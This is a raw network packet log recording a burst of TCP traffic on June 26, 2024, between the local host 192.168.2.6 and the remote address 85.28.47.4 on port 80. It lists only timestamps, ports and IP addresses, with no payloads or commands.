Jun 26, 2024 08:16:17.970196009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970199108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.970212936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970227003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970242023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970263958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.970293045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.970320940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970336914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970350981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970366001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970381021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970386028 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.970386028 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.970396042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970410109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970412016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.970424891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970438957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970458031 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.970477104 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.970488071 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.971240997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.971256018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.971270084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.971424103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.971424103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.971520901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.971544027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.971558094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.971568108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.971573114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.971606016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.971606016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.971637011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973392010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973406076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973419905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973449945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973464966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973469019 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973479986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973494053 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973514080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973517895 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973531008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973541975 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973545074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973561049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973562002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973578930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973587036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973587036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973597050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973604918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973674059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973674059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973701000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973716974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973742008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973757029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973781109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973795891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973803043 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973809958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973825932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973840952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973841906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973841906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973841906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973856926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973872900 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973896980 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973913908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973915100 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973931074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973944902 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973958015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973959923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973975897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973975897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.973990917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.973999977 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.974005938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.974020958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.974033117 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.974033117 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.974036932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.974081039 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.974081039 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.978734970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.978766918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.978791952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.978806019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.978843927 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.978884935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.978924036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.978939056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.978954077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.978967905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.978986025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.978992939 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.978992939 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979007006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979022980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979023933 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979038000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979080915 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979080915 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979126930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979142904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979156971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979171038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979186058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979199886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979201078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979199886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979218006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979228973 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979238033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979274988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979288101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979288101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979290009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979305029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979321003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979336023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979355097 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979355097 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979372025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979387999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979387999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979406118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979422092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979437113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979441881 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979451895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979459047 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979466915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979480982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979496956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979511023 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979511023 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979516983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979532003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979535103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979569912 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979569912 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979572058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979588985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979602098 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979604006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979620934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979634047 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979635000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979652882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979677916 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979677916 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979691029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979723930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979738951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979743958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979743958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979754925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979769945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979770899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979785919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979799986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979801893 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979803085 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979815006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979829073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979840040 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979885101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979885101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.979944944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979965925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.979979992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.980016947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.980031013 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.980032921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.980031013 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.980046034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.980061054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.980065107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.980076075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.980087996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.980107069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.980119944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.980119944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.980124950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.980139971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.980154991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.980179071 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.980180025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.980334997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.055069923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055088997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055104017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055273056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.055273056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.055313110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055329084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055342913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055357933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055414915 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.055414915 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.055460930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055505037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055521011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.055525064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055568933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055583954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055584908 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.055584908 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.055598974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055613995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055636883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.055672884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.055672884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.055672884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.059017897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.059032917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.059055090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.059098005 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.059123039 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.059137106 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.059138060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.059155941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.059170008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.059184074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.059190989 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.059190989 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.059215069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.059215069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.059228897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.060976982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.060992002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061006069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061045885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061059952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061080933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061095953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061113119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061113119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061113119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061113119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061134100 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061136007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061168909 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061212063 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061534882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061570883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061587095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061593056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061602116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061614037 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061619043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061635017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061635971 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061650038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061676025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061676025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061676025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061700106 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061721087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061736107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061750889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061764956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061779022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061788082 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061793089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061810017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061820984 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061820984 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061862946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.061969042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061984062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.061996937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.062011957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.062026024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.062041044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.062060118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.062060118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.062097073 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.062097073 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066046000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066101074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066119909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066184998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066184998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066189051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066199064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066212893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066229105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066245079 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066251040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066288948 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066289902 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066289902 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066481113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066502094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066518068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066530943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066546917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066570997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066570997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066596031 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066616058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066632032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066646099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066658974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066662073 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066662073 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066675901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066689968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066696882 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066696882 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066728115 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066728115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066728115 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066754103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066772938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.066796064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066796064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.066822052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067018032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067033052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067064047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067075968 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067080021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:18.067162037 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:18.067167997 CEST	80	49713	85.28.47.4	192.168.2.6
